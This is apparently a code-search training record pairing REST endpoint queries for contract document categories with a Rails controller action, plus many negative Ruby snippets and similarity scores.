[ "0.7617293", "0.69698524", "0.68557256", "0.67465174", "0.6687359", "0.6627671", "0.66260815", "0.6623843", "0.6615223", "0.66048545", "0.66048545", "0.66048545", "0.66048545", "0.66048545", "0.66048545", "0.66048545", "0.66048545", "0.66048545", "0.65653014", "0.6564173", "0.65487474", "0.65288395", "0.65089744", "0.64922166", "0.64888865", "0.64884096", "0.64868474", "0.64837927", "0.64735645", "0.6457863", "0.644412", "0.64431983", "0.64411205", "0.6438496", "0.64335346", "0.6430026", "0.6411231", "0.6405129", "0.6390007", "0.6379734", "0.63705283", "0.63705283", "0.6365385", "0.6363687", "0.6358481", "0.6358481", "0.6358056", "0.6358056", "0.6352372", "0.63486993", "0.6341574", "0.6340597", "0.63355273", "0.63307595", "0.63112307", "0.6310147", "0.6307314", "0.630506", "0.6303933", "0.6303292", "0.63030636", "0.63017994", "0.62983453", "0.6297156", "0.62958544", "0.6292979", "0.62831134", "0.6271547", "0.6269538", "0.62683946", "0.6264053", "0.6262403", "0.6255364", "0.62548566", "0.62498224", "0.62364984", "0.62350976", "0.6230644", "0.62298137", "0.6223911", "0.6223203", "0.6222868", "0.6221402", "0.62211317", "0.62211317", "0.62211317", "0.62211317", "0.62211317", "0.62211317", "0.62211317", "0.62211317", "0.622025", "0.62144333", "0.6212202", "0.6206964", "0.6199512", "0.6199512", "0.6199512", "0.6199512", "0.61953133" ]
0.77531904
0
POST /contract_doc_categories POST /contract_doc_categories.json
def create @contract_doc_category = ContractDocCategory.new(params[:contract_doc_category]) respond_to do |format| if @contract_doc_category.save format.html { redirect_to contract_doc_categories_path, notice: 'Contract doc category was successfully created.' } format.json { render json: @contract_doc_category, status: :created, location: @contract_doc_category } else format.html { render action: "new" } format.json { render json: @contract_doc_category.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @contract_doc_categories = ContractDocCategory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contract_doc_categories }\n end\n end", "def CreateCategory params = {}\n \n APICall(path: 'categories.json',method: 'POST',payload: params.to_json)\n \n end", "def create_category payload\n\t\t\t\t\tFreshdesk::Api::Client.convert_to_hash( @connection.post CATEGORIES, payload )\n\t\t\t\tend", "def update_categories(categories, options = {} )\n options.merge!(:docid => self.docid, :categories => categories)\n resp = @conn.put do |req|\n req.url \"categories\"\n req.body = options.to_json\n end\n\n resp.status \n end", "def create\n category = Documents::Category.create(category_params)\n if category.save\n redirect_to categories_path\n else\n redirect_to categories_path, alert: I18n.t('admin.categories.validation_error')\n end\n end", "def new\n @contract_doc_category = ContractDocCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contract_doc_category }\n end\n end", "def create\n @category = @collection.categories.new(category_params)\n\n if @category.save\n ActionCable.server.broadcast 'categories',\n title: @category.title,\n collection_id: @category.collection_id\n head :ok\n else\n\n end\n end", "def category_params\n params.require(:documents_category).permit(:name, journals: [])\n end", "def destroy\n @contract_doc_category = ContractDocCategory.find(params[:id])\n @contract_doc_category.destroy\n\n respond_to do |format|\n format.html { redirect_to contract_doc_categories_url }\n format.json { head :no_content }\n end\n end", "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n flash[:notice] = t('item.saved', :item => t('document.document'))\n format.html { redirect_to admin_document_path(@document)}\n #format.xml { render :xml => @document, :status => :created, :location => @document }\n else\n @categories = Category.find_all_by_section_identifier(@document.section_identifier)\n flash.now[:error] = t('item.not_saved', :item => t('document.document'))\n format.html { render :action => \"new\" }\n #format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @contractor_categories = ContractorCategory.all\n end", "def create\n @contractor_category = ContractorCategory.new(contractor_category_params)\n\n respond_to do |format|\n if @contractor_category.save\n format.html { redirect_to @contractor_category, notice: 'Contractor category was successfully created.' }\n format.json { render :show, status: :created, location: @contractor_category }\n else\n format.html { render :new }\n format.json { render json: @contractor_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def categories\n @categories ||= (@doc/\"Category\").collect { |it| Element.new(it) }\n end", "def create\n @convention_category = ConventionCategory.new(params[:convention_category])\n\n add_missing_translation_content(@convention_category.convention_category_translations)\n\n respond_to do |format|\n if @convention_category.save\n format.html { redirect_to admin_convention_categories_path, notice: t('app.msgs.success_created', :obj => t('activerecord.models.convention_category')) }\n format.json { render json: @convention_category, status: :created, location: @convention_category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @convention_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_categories\r\n categories = Taxonomy.get_categories\r\n render json: categories, root: 'categories', adapter: :json, status: :ok\r\n end", "def create_keyword_categories(data=nil,generate_objects=false)\n uri = URI.parse(@uri + \"/KeywordCategories\")\n results = post(uri,data,generate_objects)\n end", "def budget_categories_data\n # @budget.budget_items.collect { |budget_item| budget_item.category.name.to_s }.to_json\n categories = Category.for_budget.to_a\n categories << Category.find_by_name(\"Miscellaneous\")\n return categories.collect { |category| category.name.to_s }.to_json\n end", "def create\n @documentocategoria = Documentocategoria.new(params[:documentocategoria])\n\n respond_to do |format|\n if @documentocategoria.save\n format.html { redirect_to(@documentocategoria, :notice => 'Documentocategoria was successfully created.') }\n format.xml { render :xml => @documentocategoria, :status => :created, :location => @documentocategoria }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @documentocategoria.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @categorization = Categorization.new(params[:categorization])\n @categories = category_list\n respond_to do |format|\n if @categorization.save\n format.html { redirect_to(admin_categorization_path(@categorization), :notice => 'Categorization was successfully created.') }\n format.xml { render :xml => @categorization, :status => :created, :location => @categorization }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @categorization.errors, :status => :unprocessable_entity }\n end\n end\n end", "def document_category_params\n params.require(:document_category).permit(:document_id, :category_id, :sort_order)\n end", "def create_contact_categories\n contacts_types = self.contact_types\n contacts_types.delete(\"\")\n contacts_types.each do |contact_type|\n contact_type = ContactType.find(contact_type)\n\t\t\tassociante_and_create_contact_categories(contact_type)\n end\n end", "def create\n @project = Project.new(project_params)\n if params[:project][:category_list].present?\n @project.category_list = []\n params[:project][:category_list].each do |cat|\n @project.category_list.add(cat)\n end \n end\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end", "def message_categories(project_id)\n records \"post-category\", \"/projects/#{project_id}/post_categories\"\n end", "def get_categories\n body = build_request(2935, 1501, \"ACTIVEHEADINGS\")\n response = send_to_localeze(body)\n xml_doc = respond_with_hash(Nokogiri::XML(response.to_xml).text)\n end", "def add_categories(collection)\n\tcategory = \"\"\n\tcollection[\"results\"][\"collection1\"].each do |article|\n\t\tif article[\"category\"] == \"\"\n article[\"category\"] = category\n else\n category = article[\"category\"]\n end\n\tend\nend", "def list_customer_categories\n doc = Hpricot::XML(request.raw_post) \n doc = doc.to_s.gsub(\"&amp;\",\"&\") \n doc = Hpricot::XML(doc)\n @customer_categories = Customer::CustomerCrud.list_customer_categories(doc)\n render_view( @customer_categories,'customer_categories','L')\n end", "def categories=(value)\n @categories = value\n end", "def create\n @post_category = current_user.post_categories.build(params[:post_category])\n\n respond_to do |format|\n if @post_category.save\n format.html { redirect_to [:client,:post_categories], notice: 'Post category was successfully created.' }\n format.json { render json: @post_category, status: :created, location: @post_category }\n else\n format.html { render action: \"index\" }\n format.json { render json: @post_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def modify_category(categories)\n begin\n puts Rainbow(\"Current categories: #{categories.join(', ')}\").whitesmoke\n yield\n\n write_json(categories, \"Categories/cat\", \"Available categories are: #{categories.join(', ')}\")\n rescue StandardError\n puts \"There are no categories to delete\"\n end\nend", "def create_project_keyword_categories(data=nil,generate_objects=false)\n uri = URI.parse(@uri + \"/ProjectKeywordCategories\")\n results = post(uri,data,generate_objects)\n end", "def create\n json_create(category_params, Category)\n end", "def create_category_pages\n tags.keys.each do |tag|\n items << Nanoc3::Item.new(\n \"= render('category', :tag => '#{tag}')\",\n {\n :title => \"Category: #{tag}\",\n :changefreq => 'daily',\n :priority => 0.4\n },\n \"/categories/#{tag.downcase.parameterize}/\",\n :binary => false\n )\n end\nend", "def create\n @incidentcategory = Incidentcategory.new(incidentcategory_params)\n\n if @incidentcategory.save\n json_response(@incidentcategory)\n else\n render json: @incidentcategory.errors, status: :unprocessable_entity\n end\n end", "def create\n \n @categorias_tipo = CatTipo.new(params[:cat_tipo])\n\n\t\trespond_to do |format|\n\t\t\tif @categorias_tipo.save\n \t\t\tcategories = @categorias_tipo.update_attributes(:tipo_acc_ids =>params[:tipo_accs])\n\t\t\t\t@categorias_tipo.update_attributes(:estado_ids =>params[:estados])\n\t\t\t\t\n\t\t\t\n\n format.html { redirect_to cat_tipos_path, notice: 'OK' }\n format.json { render json: @categorias_tipo, status: :created, location: @categorias_tipo }\n\t\t\telse\n format.html { render action: \"new\" }\n format.json { render json: @categorias_tipo.errors, status: :unprocessable_entity }\n \tend\t\n\t\tend\n\tend", "def create\n# @category = Category.by_company(current_company.id).new(params[:bank_deposit])\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to(@category, :notice => t('scaffold.notice.created', :item=> Category.model_name.human)) }\n format.xml { render :xml => @category, :status => :created, :location => @category }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end", "def channel_categories\n build :channel_categories, :using => data_for(:channel_categories)\n end", "def create\n if @category.save\n render json: @category, status: :created, location: @category\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end", "def categories\n add_to_query restrict_kind: 'category'\n end", "def create\n @document_group_category = DocumentGroupCategory.new(document_group_category_params)\n\n respond_to do |format|\n if @document_group_category.save\n format.html { redirect_to @document_group_category, notice: created_message(@@object_type) }\n format.json { render :show, status: :created, location: @document_group_category }\n else\n @alert = @document_group_category.errors\n format.html { render :new }\n format.json { render json: @document_group_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def categories=(categories)\n end", "def create\n @word_content_category = WordContentCategory.new(word_content_category_params)\n\n respond_to do |format|\n if @word_content_category.save\n format.html { redirect_to @word_content_category, notice: 'Word content category was successfully created.' }\n format.json { render :show, status: :created, location: @word_content_category }\n else\n format.html { render :new }\n format.json { render json: @word_content_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category_collection = CategoryCollection.new(params[:category_collection])\n @collection = @category_collection.collection\n\n respond_to do |format|\n if @category_collection.save\n flash[:notice] = 'CategoryCollection was successfully created.'\n format.html { redirect_to(@collection) }\n format.xml { render :xml => @category_collection, :status => :created, :location => @category_collection }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @category_collection.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @categ = Categ.new(categ_params)\n\n respond_to do |format|\n if @categ.save\n format.html { redirect_to @categ, notice: 'Categ was successfully created.' }\n format.json { render :show, status: :created, location: @categ }\n else\n format.html { render :new }\n format.json { render json: @categ.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @data_collection = DataCollection.new\n @data_collection.name = params[:data_collection][:name]\n @data_collection.description = params[:data_collection][:description]\n @data_collection.institution = params[:data_collection][:institution]\n @data_collection.collection_name = params[:data_collection][:collection_name]\n @data_collection.country_id = params[:data_collection][:country_id]\n @data_collection.province_id = params[:data_collection][:province_id]\n @data_collection.city_id = params[:data_collection][:city_id]\n\n params[:categories].each do |category|\n\n collection_category = DataCollectionCategory.new\n collection_category.data_collection = @data_collection\n collection_category.category_id = category\n collection_category.save\n\n end\n\n respond_to do |format|\n if @data_collection.save\n format.html { redirect_to importador_csv_path (@data_collection.id), notice: 'Data collection was successfully created.' }\n format.json { render action: 'show', status: :created, location: @data_collection, params:data_collection_params }\n else\n format.html { render action: 'new' }\n format.json { render json: @data_collection.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @catalog_category = CatalogCategory.new(catalog_category_params)\n\n respond_to do |format|\n if @catalog_category.save\n format.html { redirect_to catalog_categories_url }\n format.json { render :show, status: :created, location: @catalog_category }\n else\n format.html { render :new }\n format.json { render json: @catalog_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def categories\n\t\trender :json => {:status => 1, :categories => {\"1\" => \"Apparel & Accessories\", \"2\" => \"Arts and Crafts\", \"3\" => \"Electronics\", \n\t\t\t\"4\" => \"Home Appliances\", \"5\" => \"Kids & Baby\", \"6\" => \"Movies, Music, Books & Games\", \"7\" => \"Motor Vehicles\", \n\t\t\t\"8\" => \"Office & Education\", \"9\" => \"Parties & Events\", \"10\" => \"Spaces & Venues\", \"11\" => \"Sports & Outdoors\", \"12\" => \"Tools & Gardening\", \"13\" => \"Other\"}}, :status => 200\n\t\treturn\n\tend", "def create_avail_category\n file = ::File.new(\"#{node['opennms']['conf']['home']}/etc/categories.xml\", \"r\")\n doc = REXML::Document.new file\n file.close\n cg_el = doc.elements[\"/catinfo/categorygroup[name[text()[contains(.,'#{new_resource.category_group}')]]]/categories\"]\n cat_el = cg_el.add_element 'category'\n label_el = cat_el.add_element 'label'\n label_el.add_text(REXML::CData.new(new_resource.label))\n comment_el = cat_el.add_element 'comment'\n comment_el.add_text new_resource.comment\n normal_el = cat_el.add_element 'normal'\n normal_el.add_text \"#{new_resource.normal}\" # really ruby? really?\n warning_el = cat_el.add_element 'warning'\n warning_el.add_text \"#{new_resource.warning}\"\n new_resource.services.each do |s|\n s_el = cat_el.add_element 'service'\n s_el.add_text s\n end\n rule_el = cat_el.add_element 'rule'\n rule_el.add_text(REXML::CData.new(new_resource.rule))\n out = \"\"\n formatter = REXML::Formatters::Pretty.new(2)\n formatter.compact = true\n formatter.write(doc, out)\n ::File.open(\"#{node['opennms']['conf']['home']}/etc/categories.xml\", \"w\"){ |file| file.puts(out) }\nend", "def fetch_categories\r\n page = File.open(\"#{Rails.root}/public/Categories.html\") { |f| Nokogiri::HTML(f) }\r\n Category.save_fetched_categories_and_subcategories(page)\r\n end", "def create\n @documentation_link_category = Documentation::LinkCategory.new(documentation_link_category_params)\n @documentation_link_category.parent = Documentation::LinkCategory.find(documentation_link_category_params.link_category_id) if documentation_link_category_params.respond_to? :link_category_id\n\n respond_to do |format|\n if @documentation_link_category.save\n format.json { render :show, status: :created, location: @documentation_link_category }\n else\n format.json { render json: @documentation_link_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n authorize Category\n @category = Category.new(staff_category_params)\n respond_to do |format|\n if @category.save\n format.html { redirect_to staff_categories_path, notice: \"Category '#{@category.name}' was successfully created.\" }\n else\n @categories = Category.order(:name)\n skip_policy_scope\n format.html { render :index }\n end\n end\n end", "def create\n @expense = @current_user.expenses.create(params[:expense])\n params[:expense][:categories].each do |category_id|\n category_id = category_id.to_i\n if category_id > 0\n @expense.categories << Category.find(category_id)\n end\n end\n respond_to do |format|\n if @expense.save\n flash[:notice] = 'Expense was successfully created.'\n format.html { redirect_to(@expense) }\n format.xml { render :xml => @expense, :status => :created, :location => @expense }\n format.iphone { redirect_to(@expense) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @expense.errors, :status => :unprocessable_entity }\n format.iphone { render :action => \"new\" }\n end\n end\n end", "def get_menu_category\n require \"rest_client\"\n require \"json\"\n\n self.categories.update_all(still_present: false)\n response = RestClient.get(\"https://api.omnivore.io/0.1/locations/#{self.omnivore_id}/menu/categories\", {:content_type => :json, :'Api-Key' => Setting.first.app_api_key})\n res = JSON.parse(response)\n res[\"_embedded\"][\"categories\"].each do |category|\n cat = self.categories.where(omnivore_id: category[\"id\"]).first_or_create\n cat.name = category[\"name\"]\n cat.still_present = true\n cat.save\n end\n\n self.categories.where(still_present: false).destroy_all\n end", "def update_categories(cats=[])\n rescue_extra_data\n cats = cats.to_i\n old_categories = categories.pluck(\"#{CamaleonCms::TermTaxonomy.table_name}.id\")\n delete_categories = old_categories - cats\n news_categories = cats - old_categories\n term_relationships.where(\"term_taxonomy_id in (?)\", delete_categories ).destroy_all if delete_categories.present?\n news_categories.each do |key|\n term_relationships.create(:term_taxonomy_id => key)\n end\n update_counters(\"categories\")\n end", "def create\n @category = Category.new(category_params)\n\n\n begin\n Category.transaction do # un ActiveRecord\n #@full_category.each do |f|\n #Category.create(f)\n #f.save!\n #end\n @category.save!\n end\n #Código de éxito\n rescue => e\n raise ActiveRecord::Rollback #Lanzamos el rollback de nuevo a saco\n #Seguimos con las acciones que queramos, como notificar, etc.\n end\n\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to api_v1_category_path(@category), notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def categories(options = {})\n fetch_categories.at('categories').children_of_type('category').inject([]){ |r, i| r << parse_single_category_xml(i) }\n\tend", "def create_collections\n @client[URLS_COLLECTION].create\n @client[DOCUMENTS_COLLECTION].create\n\n nil\n end", "def index\n @categories = collections_config.values\n end", "def create\n @category = CategoryService.create(category_params)\n\n respond_to do |format|\n unless @category.errors.any?\n format.html { redirect_to backoffice_categories_path,\n notice: notification_alert('success', 'Created!', \"Category [#{@category.description}] was successfully created.\") \n }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @book = Book.new(book_params)\n @categories = Category.all.order('name asc')\n respond_to do |format|\n if @book.save\n format.html { redirect_to books_url, notice: 'Book was successfully created.' }\n format.json { render :show, status: :created, location: @book }\n else\n @categories = Category.all.order('name asc')\n format.html { render :new }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def permitted_categories\n @current_folder = DocumentFolder.new\n @permitted_categories = upload_permitted_categories\n end", "def categories=(value)\n\t\t@categories = value\n\tend", "def categories=(value)\n\t\t@categories = value\n\tend", "def categories=(value)\n\t\t@categories = value\n\tend", "def categories=(value)\n @categories = value\n end", "def categories=(value)\n @categories = value\n end", "def categories=(value)\n @categories = value\n end", "def create\n #render :text => rcadmin_category_params.inspect and return false\n @rcadmin_category = current_admin.categories.build rcadmin_category_params\n\n respond_to do |format|\n if @rcadmin_category.save\n\tflash[:notice] = 'Category was successfully created.'\n format.html { redirect_to rcadmin_categories_url }\n format.json { render action: 'show', status: :created, location: @rcadmin_category }\n else\n format.html { render action: 'new' }\n format.json { render json: @rcadmin_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(category_params)\n @category.save\n render json: { params: params, notice: 'Categoria registrada exitosamente' }\n end", "def create\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to api_v1_categories_path, notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_category_pages\n articles_by_category.each do |category, posts|\n @items << Nanoc::Item.new(\n \"<%= render('category', :category => '#{category}') %>\",\n {\n :title => \"Posts in #{category}\",\n :h1 => \"#{category} posts\",\n :posts => posts\n },\n \"/categories/#{category}\",\n :binary => false\n )\n end\n end", "def create\n @company_category = CompanyCategory.new(company_category_params)\n\n respond_to do |format|\n if @company_category.save\n format.html { redirect_to @company_category, notice: 'Company category was successfully created.' }\n format.json { render :show, status: :created, location: @company_category }\n else\n format.html { render :new }\n format.json { render json: @company_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def uhook_create_category\n category = ::Category.new(params[:category])\n category.locale = current_locale\n category\n end", "def add_category(project_id_or_key, name)\n post(\"projects/#{project_id_or_key}/categories\", name: name)\n end", "def documentation_link_category_params\n params.require(:documentation_link_category).permit(:link_category_id, :title, :preview_ico, :description, :position)\n end", "def create\n @categories_post = CategoriesPost.new(categories_post_params)\n\n respond_to do |format|\n if @categories_post.save\n format.html { redirect_to @categories_post, notice: 'Categories post was successfully created.' }\n format.json { render :show, status: :created, location: @categories_post }\n else\n format.html { render :new }\n format.json { render json: @categories_post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @categoria = Categoria.new(categoria_params)\n if @categoria.save\n render json: @categoria\n else\n render json: @categoria.errors, status: :unprocessable_entity\n end\n end", "def create\n @consumer_category = ConsumerCategory.new(params[:consumer_category])\n\n respond_to do |format|\n if @consumer_category.save\n format.html { redirect_to @consumer_category, notice: 'Consumer category was successfully created.' }\n format.json { render json: @consumer_category, status: :created, location: @consumer_category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @consumer_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_category(category_name, options={ })\n self.post('/categories.json',\n options.merge(\n :body => { :category => {\n :name => category_name\n } }.to_json\n )\n )['category']\n end", "def user_category\n # byebug\n @user = User.where(contact: params[:contact]).first\n params[:category_ids].each do |category|\n @user.user_categories.create!(category_id: category, user_id: @user.id)\n end\n render json: {status: \"SUCCESS\", message: \"user-data\", data: \"category saved\"}, status: :ok\n end", "def create\n @schema_category = SchemaCategory.new(schema_category_params)\n\n respond_to do |format|\n if @schema_category.save\n format.html { redirect_to schema_categories_path, notice: 'Schema category was successfully created.' }\n format.json { render :show, status: :created, location: @schema_category }\n else\n format.html { render :new }\n format.json { render json: @schema_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def category_params\n params.require(:category).permit(:name, :description, :term, :task_ids => [])\n end", "def categories=(categories)\n @categories = categories\n end", "def categories\n expose Metadata.categories(@oauth_token)\n end", "def create\n @category = Category.new(category_params)\n authorize! :create, @category\n if @category.save\n render json: @category, status: :created\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end", "def create\n \n category = params[:category]\n category_name = category['name']\n \n write_log(\"category.to_s: #{category.to_s}\",\n __FILE__.split(\"/\")[-1],\n __LINE__.to_s)\n \n cats = []\n if category_name != nil\n cats = category_name.split(\" \")\n end\n \n write_log(\"cats.size: #{cats.size}\",\n __FILE__.split(\"/\")[-1],\n __LINE__.to_s)\n\n if cats.size > 1\n \n flag = true\n counter = 0\n \n cats.each do |cat|\n # @category = Category.new(params[:category])\n # @category = Category.new(name=cat)\n @category = Category.new({\"name\"=> cat, \"genre_id\"=> category['genre_id']})\n \n if @category.save\n else\n counter += 1\n end\n end#cats.each do |cat|\n \n respond_to do |format|\n format.html { redirect_to @category, \n notice: \"New categories: Created => #{cats.size - counter}, Failed => #{counter}\" }\n format.json { render json: @category, status: :created, location: @category }\n end\n \n else#if cats.size > 1\n @category = Category.new(params[:category])\n \n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end#if cats.size > 1\n \n \n # @category = Category.new(params[:category])\n# \n # respond_to do |format|\n # if @category.save\n # format.html { redirect_to @category, notice: 'Category was successfully created.' }\n # format.json { render json: @category, status: :created, location: @category }\n # else\n # format.html { render action: \"new\" }\n # format.json { render json: @category.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def create\n @category = Category.new(category_params)\n\n authorize @category\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to edit_admin_project_path(@category.project_id, anchor: \"categories\"), notice: t('actions.created_with_success') }\n format.json { render :edit, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def getCategories(_, _, _)\n @db.categories\n end", "def addCat()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n c = Category.new(name: params[:name])\n status = c.save\n error = \"\"\n if(c.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: status, reason: error, data: \"\"}\n end", "def create\n business_category_params[\"business_centerable_type\"] = business_category_params[\"business_centerable_id\"].split(';').first\n business_category_params[\"business_centerable_id\"] = business_category_params[\"business_centerable_id\"].split(';').last\n @business_category = BusinessCategory.new(business_category_params)\n\n respond_to do |format|\n if @business_category.save\n format.html { redirect_to @business_category, notice: 'Business category was successfully created.' }\n format.json { render :show, status: :created, location: @business_category }\n else\n format.html { render :new }\n format.json { render json: @business_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def categories\n # @categories = Category.get_categories(@user.id)\n #@categories =Category.all.select(:id).select(:name).select(:description).select(:logo_url)\n @categories =Category.all\n user_cat= @user.categories.collect(&:id)\n categories = []\n @categories.each do |cat|\n cat_attr = cat.attributes\n user_cat.include?(cat.id) ? cat_attr.merge!('user_category' => true) : cat_attr.merge!('user_category' => false)\n categories << cat_attr\n end\n @categories = categories\n\n respond_to do |format|\n if @categories.blank?\n format.json {render json:{:success => false, :status_code => 404, :message => \"No category found\"}}\n format.xml {render xml:{:success => false, :status_code => 404, :message => \"No category found\"}}\n format.html {render json: {:success => false, :status_code => 404, :message => \"No category found\"}}\n else\n format.html {render json: {:success => true, :status_code => 200, :categories => @categories}}\n format.json {render json: {:success => true, :status_code => 200, :categories => @categories}}\n format.xml {render xml: {:success => true, :status_code => 200, :categories => @categories}}\n end\n end\n end", "def create\n @blog_category = BlogCategory.new(params[:blog_category])\n\n respond_to do |format|\n if @blog_category.save\n format.html { redirect_to(admin_blog_categories_path, :notice => 'Blog category was successfully created.') }\n format.xml { render :xml => @blog_categories, :status => :created, :location => @blog_category }\n else\n format.html { render :action => \"index\" }\n format.xml { render :xml => @blog_category.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to '/publications/new', notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sys_category = Sys::Category.new(sys_category_params)\n\n respond_to do |format|\n if @sys_category.save\n format.html { redirect_to @sys_category, notice: 'Category was successfully created.' }\n format.json { render action: 'show', status: :created, location: @sys_category }\n else\n format.html { render action: 'new' }\n format.json { render json: @sys_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @incidentcategory = Incidentcategory.new(incidentcategory_params)\n\n respond_to do |format|\n if @incidentcategory.save\n format.html { redirect_to incidentcategories_path, notice: 'Incidentcategory was successfully created.' }\n format.json { render :show, status: :created, location: @incidentcategory }\n else\n format.html { render :new }\n format.json { render json: @incidentcategory.errors, status: :unprocessable_entity }\n end\n end\n end", "def GetCategories params = {}\n\n params = params.merge(path: 'categories.json')\n APICall(params)\n\n end", "def contractor_category_params\n params.require(:contractor_category).permit(:name)\n end", "def index\n @incidentcategories = Incidentcategory.all\n json_response(@incidentcategories)\n end", "def write_category_indexes\n if self.layouts.key? 'category_index'\n self.categories.keys.each do |category|\n self.write_category_index(category)\n end\n\n # Throw an exception if the layout couldn't be found.\n else\n throw \"No 'category_index' layout found.\"\n end\n end", "def create_category(cat_name)\n category = Spree::Taxonomy.where(name: 'Categories').first\n category = Spree::Taxonomy.create(name: 'Categories') if category.nil?\n taxon = Spree::Taxon.find_by(name: cat_name, taxonomy_id: category.id)\n if taxon.present?\n spree_taxons.append(taxon)\n else\n taxon = Spree::Taxon.new(name: cat_name, taxonomy_id: category.id, parent_id: category.root.id)\n if taxon.save\n spree_taxons.append(taxon)\n else\n Rails.logger.info \"Error! #{taxon.errors.full_messages}\"\n end\n end\n end", "def create\n @category = current_mall.categories.new(params[:category])\n\n if @category.save\n render json: @category, status: :created\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end" ]
[ "0.65566033", "0.63240516", "0.6303891", "0.6094285", "0.6030948", "0.5988808", "0.5985044", "0.5959302", "0.5939959", "0.5842369", "0.5757353", "0.5753555", "0.57221884", "0.5650957", "0.5624956", "0.5618818", "0.56053704", "0.55904347", "0.5585924", "0.5581721", "0.5570876", "0.5566479", "0.5525181", "0.55208606", "0.54941034", "0.5491238", "0.5489931", "0.5486971", "0.5473049", "0.54578584", "0.54470587", "0.54439986", "0.54153156", "0.5393712", "0.5388704", "0.5386677", "0.5384003", "0.5375313", "0.5372908", "0.5372158", "0.53628135", "0.5357831", "0.535733", "0.5355967", "0.5338114", "0.5335109", "0.5330435", "0.53237", "0.53201836", "0.5319632", "0.53156966", "0.5314552", "0.531298", "0.5289368", "0.52885324", "0.528342", "0.52823836", "0.52734876", "0.5270824", "0.52699625", "0.52665216", "0.52665216", "0.52665216", "0.5257107", "0.5257107", "0.5257107", "0.5250759", "0.52421075", "0.52317846", "0.5229763", "0.52290046", "0.52243674", "0.5219583", "0.521915", "0.52131987", "0.52124333", "0.5211613", "0.5205388", "0.52046096", "0.5196873", "0.51930195", "0.5192317", "0.5185943", "0.51850647", "0.5181526", "0.51805425", "0.5179029", "0.51745695", "0.51707", "0.5166142", "0.51599914", "0.5152486", "0.5149438", "0.51487416", "0.5146023", "0.5141758", "0.51402515", "0.5139515", "0.51320285", "0.5129157" ]
0.71983665
0
PUT /contract_doc_categories/1 PUT /contract_doc_categories/1.json
def update @contract_doc_category = ContractDocCategory.find(params[:id]) respond_to do |format| if @contract_doc_category.update_attributes(params[:contract_doc_category]) format.html { redirect_to @contract_doc_category, notice: 'Contract doc category was successfully updated.' } format.json { head :no_content } else format.html { render action: "edit" } format.json { render json: @contract_doc_category.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
